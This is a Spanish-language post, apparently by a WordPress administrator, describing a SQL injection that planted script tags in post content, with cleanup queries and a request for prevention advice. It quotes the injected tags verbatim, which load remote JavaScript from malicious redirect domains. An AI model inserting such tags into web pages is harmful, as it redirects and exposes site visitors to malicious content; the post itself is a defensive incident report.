Recientemente estoy lidiando en un proyecto con un problema de SQL injection. A grandes rasgos el problema es que la web de la web afectada muestra una contaminación repetida, con una columna post_content inyectada con un código Javascript malicioso (wp_posts -> post_content).
Los códigos son los siguientes:
<script type='text/javascript' src='//pl15180773.pvclouds.com/2b/e2/3d/2be23d024eff3a5446e06744968768be.js'></script><script data-cfasync='false' type='text/javascript' src='//p79479.clksite.com/adServe/banners?tid=79479_127480_7&tagid=2'></script>
<script data-cfasync=\'false\' type=\'text/javascript\' src=\'//p79479.clksite.com/adServe/banners?tid=79479_127480_7&tagid=2\'></script><script type=\"text/javascript\" src=\"//dolohen.com/apu.php?zoneid=2574011\" async data-cfasync=\"false\"></script><script type=\"text/javascript\" src=\"//dolohen.com/apu.php?zoneid=676630\" async data-cfasync=\"false\"></script>
Si todavía no sabes si tu web está infectada por este código el síntoma es que una vez la página se carga serás redirigido a otra web como las del siguiente ejemplo:
- pl15180773.pvclouds.com/2b/e2/3d/2be23d024eff3a5446e06744968768be.js
- p79479.clksite.com/adServe/banners?tid=79479_127480_7&tagid=2
- dolohen.com/apu.php?zoneid=676630
- dolohen.com/apu.php?zoneid=2574011
- ellcurvth.com/afu.php?zoneid=
- ellcurvth.com/afu.php?zoneid=2826294
- humsoolt.net/pfe/current/tag.min.js?z=2774009
Todavía estoy trabajando en la solución para evitar que vuelva a suceder. Por lo pronto como workaround he optado por correr las siguientes queries en MySQL
UPDATE wp_posts SET post_content = REPLACE( post_content, "<script type='text/javascript' src='//pl15180773.pvclouds.com/2b/e2/3d/2be23d024eff3a5446e06744968768be.js'></script><script data-cfasync='false' type='text/javascript' src='//p79479.clksite.com/adServe/banners?tid=79479_127480_7&tagid=2'></script>", "");
UPDATE wp_posts SET post_content = REPLACE( post_content, "<script data-cfasync=\'false\' type=\'text/javascript\' src=\'//p79479.clksite.com/adServe/banners?tid=79479_127480_7&tagid=2\'></script><script type=\"text/javascript\" src=\"//dolohen.com/apu.php?zoneid=2574011\" async data-cfasync=\"false\"></script><script type=\"text/javascript\" src=\"//dolohen.com/apu.php?zoneid=676630\" async data-cfasync=\"false\"></script>", "")
Por supuesto no es la solución definitiva. Lo suyo ahora luego de limpiar el sitio es trabajar para evitar que esto vuelva a suceder. ¿Algún consejo?